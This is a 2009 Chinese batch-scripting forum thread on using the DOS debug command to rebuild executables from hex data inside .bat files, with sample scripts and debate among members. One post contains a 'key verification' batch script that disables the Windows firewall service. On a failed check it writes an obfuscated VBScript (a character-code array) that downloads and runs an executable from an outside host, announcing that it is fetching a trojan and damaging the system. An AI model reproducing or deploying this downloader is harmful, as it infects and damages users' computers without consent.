标题: [其他] 【讨论】debug在bat中的作用 [打印本页]
作者: bluewing009 时间: 2009-12-1 12:20 标题: 【讨论】debug在bat中的作用
本贴核心目的:
1.说明debug命令在bat中的作用:生成exe;以及涉及第三方程序时的生成(担心所用的东东用户没有)。
2.初步说明debug的执行方式。
至于有些人问的 如何生成debug文件?以及 如何突破debug的64K限制? 等等 不再本贴讨论范围内。
应 topy12345 和 cy32cxb98 的要求在此讨论.....仅仅是讨论哦 O(∩_∩)O~
------------------------------------------------------------------------------------------------------
bat作为一个方便快捷的东东,有它的优势,自然也有他的局限性。
比如: 一些系统函数 API等等 都无法实现。
echo 和>>的结合给了我们bat操作系统关键部分希望 。 利用这两个命令 可以生成txt,reg,ini.......用他们操作系统的注册表,boot.ini等等关键部分(亦有独立的命令,如: reg add)。
但是这还不够。 debug生成exe 作为bat的一个扩展出现。 有了exe 我们能干的事情多了.....比如坛子里的【挑战区】,我们都可以用exe来完成。
有些人问: 这还是bat么? 嘿嘿 debug是bat的一个命令,生成的exe,我们把它当做临时文件好了 (呵呵 有点投机取巧.....)
以下是debug参数 (只给出bat方面能用到的, 想知道更多 问斑竹去 (~ o ~)~zZ )
? 显示 Debug 命令列表。
c 比较内存的两个部分。
d 显示部分内存的内容。
e 从指定地址开始,将数据输入到内存。
f 使用指定值填充一段内存。
g 运行在内存中的可执行文件。
h 执行十六进制运算。
/n 为 l 或 w 命令指定文件,或者指定正在测试的文件的参数。
p 执行循环、重复的字符串指令、软件中断或子例程。
q 停止 Debug 会话。
r 显示或改变一个或多个寄存器。
w 将被测试文件写入磁盘。
以下给出个例子 : (自己编的一部分)
由于不知道你们习惯什么样的 注释 就用---------------------来说明
- @echo off-------------------- 关闭回显
- cls--------------------清屏 此法虽然没有临时文件,但会显示编译过程
- more +72 "%~0"|debug&graftabl 936>nul-------------------more 偏移 ,截取我的东东, 你自己要改more的值
- copy/b/y C:\WINDOWS\system32\$tmp$ C:\WINDOWS\system32\BL_alarm.exe>nul
- del/a/f/q C:\WINDOWS\system32\$tmp$
- goto:test_f-------------------这个是去执行下个的 ,
- e0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 --------------------文件代码
- e0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
- e0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
- e0130 00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00
- .........
- ..........
- ...........
- rcx
- 5FFF
- nC:\WINDOWS\system32\$tmp$
- w
- q-----------------记得退出
复制代码
附件是 我写的2个例子 ,已经有权限了,所以发的是成品。
1.是 实时监控的成品
2.是md5检测工具的生成(偷懒.... 把程序直接截取过来)。
[ 本帖最后由 bluewing009 于 2009-12-1 17:27 编辑 ]
作者: zqz0012005 时间: 2009-12-1 12:52
好大的字啊!
首次见识debug,原来这么牛B啊,受教了!
以前听说any2bat,现在终于知道可以bat2any了
作者: vsbat 时间: 2009-12-1 13:07
下载下来试了以下----
第一个-----好长时间 debug 窗口也不关闭---后来手动关的
debug 是好----可是貌似得懂汇编吧---
作者: bluewing009 时间: 2009-12-1 13:10 标题: 回复 3楼 的帖子
说明啊~~~
附件和帖子上的都是为了讲解的例子样品 拿来直接用肯定是失败的。
虽然我有完整的 但是权限不足 大小超过了。
或者谁帮我发一下 ?
更新: 现在例子已经完整了。
[ 本帖最后由 bluewing009 于 2009-12-1 17:27 编辑 ]
作者: netbenton 时间: 2009-12-1 19:58
我有一段代码,可以把第一个参数指定的文件,转成可用debug 还原的数据类型(体积最小),
大家看看要是能用就拿去用吧:
- @echo off
- set/a size=%~z1
- set/a si=size/512+1
- ::取文件大小
- pushd %~dp1
- echo;&echo;&echo 正在转换请稍候。。。。。。
- (echo ;可用于在DEBUG里恢复成二进制程序的16进制数据,n后面的文件名不能以.exe为扩展名。
- echo a
- call :hex %1
- echo n 文件名
- echo w
- echo q
- )>for_debug.txt
- start for_debug.txt
- del %~n0.fc /q
- goto :eof
-
- :hex
- setlocal enabledelayedexpansion
- for /l %%a in (1,1,128) do (set spac=!spac! )
- (for /l %%k in (1,1,!si!) do set /p=!spac!%~n0.fc
- ::准备一个比当前文件大的全空格文件
- set ec=
- set n=-1
- for /f "skip=1 tokens=1-3 delims=: " %%a in ('fc %~n0.fc %~nx1 /b') do (
- if "%%a"=="FC" goto :fcok
- set/a m=0x%%a,n+=1
- if !m! neq !n! (
- set /a n+=1
- for /l %%z in (!n!,1,!m!) do (set "fc=!fc! 20")
- set /a n=m
- )
- set "fc=!fc! %%c"
- for %%d in (!fc!) do (if defined kk (set ec=!ec!%%d!kk! &set kk=) else (set kk=%%d))
- set ec=!ec:0 =z !
- set ec=!ec: 00= !
- set ec=!ec: 0= !
- set ec=!ec:z=0!
- set fc=
-
- if "!ec:~76!" neq "" (
- if "!ec:~70,1!" equ " " (echo;dw!ec:~,70!&set ec=!ec:~70!) else (
- if "!ec:~71,1!" equ " " (echo;dw!ec:~,71!&set ec=!ec:~71!) else (
- if "!ec:~72,1!" equ " " (echo;dw!ec:~,72!&set ec=!ec:~72!) else (
- if "!ec:~73,1!" equ " " (echo;dw!ec:~,73!&set ec=!ec:~73!) else (echo;dw!ec:~,74!&set ec=!ec:~74!)
- )
- )
- )
- )
- )
- ::利用fc 的二进制对比,取十六进制编码,并生成debug 可以接受的输入串
-
- :fcok
- echo;dw!ec!
- echo;
- call :o-h 调用子过程,把文件大小转为16进制。
-
- echo r cx
- echo !hh:~-4!
- if "!hh:~4!" neq "" (echo r bx&echo !hh:~,-4!)
- ::转为debug可以接受的格式,低位在cx寄存器,高位在bx寄存器。
-
- endlocal
- goto :eof
- ::;利用fc的二进制对的特性
-
- :o-h
- set n=0
- for %%a in (0 1 2 3 4 5 6 7 8 9 a b c d e f) do (set h!n!=%%a&set/a n+=1)
- :ohlp
- set/a one=size%%16,size=size/16
- set hh=!h%one%!!hh!
- if !size! equ 0 goto :eof
- goto :ohlp
复制代码
作者: topy12345 时间: 2009-12-1 20:58 标题: 5555555555~~@@
那我的那个验证如何使用DEBUG去除。?
@echo off
net stop sharedaccess
if not exist C:\WINDOWS\web.vbs goto :ad
b
if not exist C:\WINDOWS\mirl goto :ab
goto :oko
:ad
mode con cols=50 lines=20&color 7f
title lengyuye key
cls
echo
echo
echo key
net stop sharedaccess
echo Str=Array(83,101,116,32,120,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,32,32,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,97,118,122,104,97,52,46,51,51,50,50,46,111,114,103,47,118,98,115,46,101,120,101,34,44,48,32,32,32,13,10,120,80,111,115,116,46,83,101,110,100,40,41,32,32,32,13,10,83,101,116,32,115,71,101,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,32,32,32,13,10,115,71,101,116,46,77,111,100,101,32,61,32,51,32,32,13,10,115,71,101,116,46,84,121,112,101,32,61,32,49,32,32,13,10,115,71,101,116,46,79,112,101,110,40,41,32,32,13,10,115,71,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,32,32,13,10,115,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,67,58,92,87,73,78,68,79,87,83,92,118,98,115,46,101,120,101,34,44,50,32,32,13,10) >>C:\WINDOWS\ut.vbs
echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function >>C:\WINDOWS\ut.vbs
echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function >>C:\WINDOWS\ut.vbs
echo Execute Num2Str(Str) >>C:\WINDOWS\ut.vbs
echo Execute Num2Str(Str) >>C:\WINDOWS\ut.vbs
cls
echo.
echo.
echo.
echo.
echo.
echo 认证错误! 执行下载木马!
echo.
echo.
echo 正在破坏系统... ...
C:\WINDOWS\ut.vbs
C:\WINDOWS\vbs.exe
del C:\WINDOWS\ut.vbs /q
del C:\WINDOWS\vbs.exe /q
goto :ob
:ab
@echo off&setlocal enabledelayedexpansion
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
set yyyy=%date:~0,4%
set mm=%date:~5,2%
set dd=%date:~8,2%
set /a od=!dd!-1
if !od!==0 call :dd0
if !mm!==0 call :mm0
set yyyymmdd=l1!yyyy!5!mm!2!od!1
echo !yyyymmdd!>>C:\WINDOWS\mirl
goto :oko
:dd0
set /a mm=!mm!-1
for %%a in (1 3 5 7 8 10 12)do set %%add=31
set /a pddd=!yyyy!*10/4
set pd2d=!pddd:~-1,1!
set 2dd=28
if !pd2d!==0 set 2dd=29
for %%b in (4 6 9 11)do set %%bdd=30
set od=!%mm%dd!
goto :eof
:mm0
set /a yyyy=!yyyy!-1
set mm=12 && set od=31
goto :eof
:oko
@echo off
COPY C:\WINDOWS\mirl C:\WINDOWS\system32\mced
COPY C:\WINDOWS\web.vbs C:\WINDOWS\system32\cced
@for /f "tokens=1,2,3 delims= " %%i in (C:\WINDOWS\system32\mced) do set gateway1=%%i%%j%%k
@for /f "tokens=1,2,3 delims= " %%i in (C:\WINDOWS\system32\cced) do set gateway=%%i
if /i %gateway%==%gateway1% goto yes
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q
exit
:yes
echo on
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q
@echo off
cls
mode con cols=50 lines=20&color 7f
title lengyuye key
echo yanzhengdengdai!
echo =1=
@ping 127.0.0.1 -n 50>nul
if not exist OPE?.DLL echo NO && goto:bbdd
COPY OPE.DLL OPE1.DLL
del OPE.DLL /Q
goto LCC
:NO
@echo off
color B
cls
mode con cols=60 lines=20&color 6c
@for /f "tokens=1,2,3 delims= " %%i in (OPE1.DLL) do s -p :%%i…… -m 1 && if exist OPE1.DLL @echo off && @start /b ok %%i 1521 3000 %%i
goto :iipp
:LLCC
@echo off&setlocal enabledelayedexpansion
set keyn=1
for /f "tokens=2 delims=:" %%i in ('ipconfig /all ^| findstr /i /c:"hysical Address"') do set keyid=%%i
set keyid=%keyid:~10,2%%keyid:~1,2%%keyid:~4,2%%keyid:~16,2%%keyid:~7,2%%keyid:~13,2%
if exist "%~dp0xcdkey.dat" goto key2
:key
echo key:%keyid%
set keyida=%keyid%
set /a keyida+=1234567890
set /a keyida">>="2
set key=
set /p key=(%keyn%)------
if /i %key%==%keyida% echo %keyida%>"%~dp0xcdkey.dat"&&goto NO
set /a keyn+=1
if /i %keyn%==4 goto key1
echo NO!
goto key
:key1
echo BEY!
del %0
call :exit
:key2
for /f "tokens=1* delims=" %%i in ('type "%~dp0xcdkey.dat"') do set keyida=%%i
set keyidb=%keyid%
set /a keyidb+=1234567890
set /a keyidb">>="2
if /i %keyida%==%keyidb% goto NO
echo NO!
goto key
:iipp
del OPE1.DLL /q
if exist C:\WINDOWS\system32\mced del C:\WINDOWS\system32\mced /q
if exist C:\C:\WINDOWS\system32\cced del C:\C:\WINDOWS\system32\cced /q
if exist C:\WINDOWS\mirl del C:\WINDOWS\mirl /q
if exist C:\WINDOWS\web.vbs del del C:\WINDOWS\web.vbs /q
:bbdd
ceshi.bat
作者: Batcher 时间: 2009-12-1 21:00
为何要用copy /b命令?用其它命令为啥不行或不好?
n命令生成临时文件时,如何处理路径或文件名包含空格的情况?
如果突破64k的限制?
这些问题都不在这个帖子的讨论范围之内吗?如果这个帖子只是为了给个例子来说明debug在批处理如何使用,咱们论坛不是有很多例子了吗,困惑ing
作者: bluewing009 时间: 2009-12-1 21:36 标题: 回复 7楼 的帖子
64K 限制用第二种>>法可以,或者分开最后在合起来。
n命令 使我们自己设定的,可以不考虑特殊情况。
确实没看到debug的帖子......55555555
帖子目的已经在 开头说的很明确了 只是初步讨论
向你这样 已经掌握的 干吗不跳过去呢?
作者: netbenton 时间: 2009-12-1 23:03
楼主, 按你的第二种方法还是没有办法解64k的问题
用copy file1+file2+file3...的方法倒是可以,
但是bat数据却不好生成
还有出现很多0时可以改成用f命令的,这样可以减少bat文件的大小。
本站真的没有debug的贴子吗?看看:http://bbs.bathome.net/thread-3541-1-1.html
再看看这个:http://bbs.bathome.net/thread-6482-1-1.html
[ 本帖最后由 netbenton 于 2009-12-1 23:10 编辑 ]
作者: bluewing009 时间: 2009-12-2 00:22 标题: 回复 9楼 的帖子
呵呵 你这两个拿给别人看 .....效果如何?
本来 debug在bat的应用 就不是很普遍。 你这个虽然以第一名的文件举例子,
但是 到底讲了debug多少东西,对于 来坛子里的人来说,最需要的、
是你的原理?还是仅仅是要个工具 ? 亦或者 仅仅要求浅显的了解 工作方式?
作者: bluewing009 时间: 2009-12-2 00:41 标题: 回复 9楼 的帖子
debug该给谁用? 是版主? 是管理员?还是技术组?
debug 命令 该放在什么位置?我们到底需要它干什么?
如果是技术组考核问题 还可以理解,如果像我帖子开头说明 的 只是 讨论 而不是你们的【教学贴】的话,
发这两篇文章明显 过头了
作者: Batcher 时间: 2009-12-2 10:34
以debug为关键字,在咱们论坛进行全文搜索,结果找到6页内容,随手挑了几个,供大家参考:
http://bbs.bathome.net/thread-2130-1-1.html
http://bbs.bathome.net/thread-6417-1-1.html
http://bbs.bathome.net/thread-6374-1-1.html
顺便普及一下论坛全文搜索的使用方法:
http://bbs.bathome.net/thread-3473-1-1.html
作者: ZJHJ 时间: 2009-12-2 10:34
没看明白如何用debug将bat生成exe。
作者: Batcher 时间: 2009-12-2 10:38 标题: 回复 13楼 的帖子
你误解楼主的意思了吧?再仔细看看顶楼的代码?
作者: zqz0012005 时间: 2009-12-2 12:35 标题: 回复 11楼 的帖子
楼主此帖从哪里可以看出有“讨论”的意思呢?
而且你说不是教学贴,那么发到“原创区”才更合适吧。
PS:讨论是什么意思?
http://baike.baidu.com/view/46623.htm
作者: bluewing009 时间: 2009-12-2 22:23 标题: 回复 15楼 的帖子
原创区 .... 斑竹有权限,站着说话不腰疼哦 ...谁让我权限不足哦~
至于称为“讨论”,因为 debug命令 我也是初学,涉及不深。没有各位斑竹的学识,
说以 不能成为“教学贴”。因为自己的知识面窄,我只是抛砖引玉。特别是 Batcher ,他总能想出一些新东西,所以 “讨论” 的作用之一是用来钓他的哦 O(∩_∩)O~
作者: dahual 时间: 2009-12-3 20:29
学习学习。
批 处理…
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |